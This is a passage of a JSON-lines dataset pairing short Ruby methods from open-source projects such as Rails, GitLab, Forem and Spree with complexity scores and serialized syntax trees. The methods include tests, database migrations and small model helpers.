end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_seeds_defaults_to_primary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"seeds?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seeds\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"seeds?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seeds\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"seeds?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"secondary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"primary?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"seeds?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"secondary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seeds\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"primary?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"seeds?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"secondary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seeds\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"primary?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"seeds?\"]}]}]}]}]}","id":"8fd7d40a-8bc5-4b74-aa4a-a43c25b2698c"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190430123156_add_indexes_to_classified_listings.rb","start_line":2,"raw_source":"def change\n    add_index :classified_listings, :user_id\n    add_index :classified_listings, :organization_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"classified_listings\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"classified_listings\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]}]}]}","id":"998f851a-019a-4985-b43c-7bc243fefe4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3301,"raw_source":"def root_namespace\n    if namespace.has_parent?\n      namespace.root_ancestor\n    else\n      namespace\n    end\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"root_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"has_parent?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"root_ancestor\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]}]}","id":"4e3b6770-f185-4729-bd10-999a74fce375"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/test_case.rb","start_line":307,"raw_source":"def add(view, locals)\n          @rendered_views[view] ||= []\n          @rendered_views[view] << locals\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view\"]},{\"type\":\"arg\",\"children\":[\"locals\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rendered_views\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"view\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rendered_views\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"view\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]}]}","id":"8ed719fd-8726-437b-b245-c998daf1f650"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20240306045911_add_discarded_at_to_sync_runs.rb","start_line":2,"raw_source":"def change\n    add_column :sync_runs, :discarded_at, :datetime\n    add_index :sync_runs, :discarded_at\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"sync_runs\"]},{\"type\":\"sym\",\"children\":[\"discarded_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"sync_runs\"]},{\"type\":\"sym\",\"children\":[\"discarded_at\"]}]}]}]}","id":"f7845b42-6ecd-4ea9-af0f-03c6ca339c2d"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/conditional_validation_test.rb","start_line":121,"raw_source":"def test_validation_using_combining_if_true_and_unless_false_conditions\n    Topic.validates_length_of(:title, maximum: 5, too_long: \"hoo %{count}\", if: :condition_is_true, unless: :condition_is_false)\n    t = Topic.new(\"title\" => \"uhohuhoh\", \"content\" => \"whatever\")\n    assert_predicate t, :invalid?\n    assert_predicate t.errors[:title], :any?\n    assert_equal [\"hoo 5\"], t.errors[\"title\"]\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validation_using_combining_if_true_and_unless_false_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"too_long\"]},{\"type\":\"str\",\"children\":[\"hoo %{count}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"sym\",\"children\":[\"condition_is_true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unless\"]},{\"type\":\"sym\",\"children\":[\"condition_is_false\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"uhohuhoh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"sym\",\"children\":[\"any?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hoo 5\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]}]}]}","id":"5da0729b-0ea2-420d-ac37-37d7107a1a63"}
{"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20250730102644_add_missing_unique_indexes_to_spree_option_types_and_values.rb","start_line":2,"raw_source":"def change\n    # we don't need to run this migration in multi-tenant mode as it's already handled there\n    return if defined?(SpreeMultiTenant)\n\n    # Rename duplicated option types\n    duplicates = Spree::OptionType.select(:name).group(:name).having('COUNT(*) > 1').reorder('').pluck(:name)\n\n    duplicates.each do |duplicate_name|\n      option_types = Spree::OptionType.where(name: duplicate_name)\n\n      option_types.each_with_index do |option_type, index|\n        next if index == 0 # Keep the first one unchanged\n\n        new_name = \"#{duplicate_name}_#{index}\"\n        option_type.update_columns(name: new_name, updated_at: Time.current)\n      end\n    end\n\n    # Handle duplicates in spree_option_values\n    duplicates = Spree::OptionValue.select(:option_type_id, :name).group(:option_type_id, :name).having('COUNT(*) > 1').reorder('')\n\n    duplicates.each do |dup|\n      option_values = Spree::OptionValue.where(option_type_id: dup.option_type_id, name: dup.name)\n\n      option_values.each_with_index do |option_value, index|\n        next if index == 0 # Keep the first one unchanged\n\n        new_name = \"#{option_value.name}_#{index}\"\n        option_value.update_columns(name: new_name, updated_at: Time.current)\n      end\n    end\n\n    # Add indexes\n    remove_index :spree_option_types, :name, if_exists: true\n    add_index :spree_option_types, :name, unique: true, if_not_exists: true\n\n    add_index :spree_option_values, %i[option_type_id name], unique: true, if_not_exists: true\n  end","complexity_score":50.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpreeMultiTenant\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"duplicates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionType\"]},\"select\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"having\",{\"type\":\"str\",\"children\":[\"COUNT(*) > 1\"]}]},\"reorder\",{\"type\":\"str\",\"children\":[\"\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duplicate_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"option_types\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionType\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"duplicate_name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_types\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_type\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_type\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duplicates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionValue\"]},\"select\",{\"type\":\"sym\",\"children\":[\"option_type_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"option_type_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},\"having\",{\"type\":\"str\",\"children\":[\"COUNT(*) > 1\"]}]},\"reorder\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"option_values\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionValue\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dup\"]},\"option_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dup\"]},\"name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_values\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_value\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"spree_option_types\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"spree_option_types\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"spree_option_values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_type_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"93c7d0c5-3b14-4aec-9472-7a0f4d6e74ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":370,"raw_source":"def for_alert_mangement_alert?\n    noteable_type == 'AlertManagement::Alert'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"for_alert_mangement_alert?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"AlertManagement::Alert\"]}]}]}","id":"f118d075-ac7b-42a4-a3c3-058899691d69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/otp/strategies/forti_authenticator/manual_otp.rb","start_line":28,"raw_source":"def auth_url\n              host = ::Gitlab.config.forti_authenticator.host\n              port = ::Gitlab.config.forti_authenticator.port\n              path = 'api/v1/auth/'\n\n              \"https://#{host}:#{port}/#{path}\"\n            end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"config\"]},\"forti_authenticator\"]},\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"config\"]},\"forti_authenticator\"]},\"port\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"str\",\"children\":[\"api/v1/auth/\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"0d46b4f6-edbf-4f6f-9c0b-6111baf99763"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_instrumentation_test.rb","start_line":143,"raw_source":"def test_transaction_instrumentation_with_restart_parent_transaction_on_commit\n    topic = topics(:fifth)\n\n    events = []\n    subscriber = ActiveSupport::Notifications.subscribe(\"transaction.active_record\") do |event|\n      events << event\n    end\n\n    ActiveRecord::Base.transaction do\n      ActiveRecord::Base.transaction(requires_new: true) do\n        topic.update(title: \"Ruby on Rails\")\n      end\n    end\n\n    assert_equal 1, events.count\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":18.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_instrumentation_with_restart_parent_transaction_on_commit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fifth\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"transaction.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_new\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"count\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"ad571c96-7137-40b6-8fd8-a1a9e7e9775a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":899,"raw_source":"def commit(ref = 'HEAD')\n        Gitlab::Git::Commit.find(self, ref)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ref\",{\"type\":\"str\",\"children\":[\"HEAD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Commit\"]},\"find\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}","id":"e5f6762f-d02f-46bc-a4ba-f9a434253f49"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/helper_test.rb","start_line":161,"raw_source":"def test_helper_attr\n    assert_nothing_raised { @controller_class.helper_attr :delegate_attr }\n    assert_includes master_helper_methods, :delegate_attr\n    assert_includes master_helper_methods, :delegate_attr=\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_helper_attr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller_class\"]},\"helper_attr\",{\"type\":\"sym\",\"children\":[\"delegate_attr\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[null,\"master_helper_methods\"]},{\"type\":\"sym\",\"children\":[\"delegate_attr\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[null,\"master_helper_methods\"]},{\"type\":\"sym\",\"children\":[\"delegate_attr=\"]}]}]}]}","id":"58c44776-7262-4d40-b845-8cc715c8ceb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":555,"raw_source":"def noteable_name\n      name = noteable.try(:issue_type) || noteable.to_ability_name\n\n      name.humanize(capitalize: false)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"noteable_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"try\",{\"type\":\"sym\",\"children\":[\"issue_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"to_ability_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"humanize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"capitalize\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"c14ed844-a9eb-4b6e-ab75-4f147752a63a"}
